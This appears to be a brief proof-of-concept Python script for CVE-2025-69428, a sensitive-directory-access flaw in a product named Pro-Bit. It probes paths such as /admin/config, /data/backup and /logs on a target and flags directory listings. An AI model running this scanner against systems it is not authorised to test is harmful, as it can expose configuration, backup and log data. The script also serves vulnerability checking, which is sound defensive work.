CVE-2025-69428 Pro-Bit敏感目录访问漏洞

# PoC for CVE-2025-69428: Sensitive Directory Access # This script checks if the target allows listing of sensitive directories. import requests def check_vulnerability(target_url): # Common sensitive directory paths often found in web apps sensitive_paths = [ "/admin/config", "/data/backup", "/logs", "/upload", "/includes" ] print(f"[*] Scanning {target_url} for CVE-2025-69428...") for path in sensitive_paths: full_url = f"{target_url.rstrip('/')}{path}" try: response = requests.get(full_url, timeout=5) # Check for 200 OK and common indicators of directory listing if response.status_code == 200: if "Index of" in response.text or "<title>Index of" in response.text: print(f"[+] VULNERABLE! Directory listing enabled at: {full_url}") elif response.headers.get('Content-Type', '').startswith('text/html'): print(f"[!] Potential access (200 OK) at: {full_url}") except requests.RequestException as e: print(f"[-] Error connecting to {full_url}: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target check_vulnerability(target)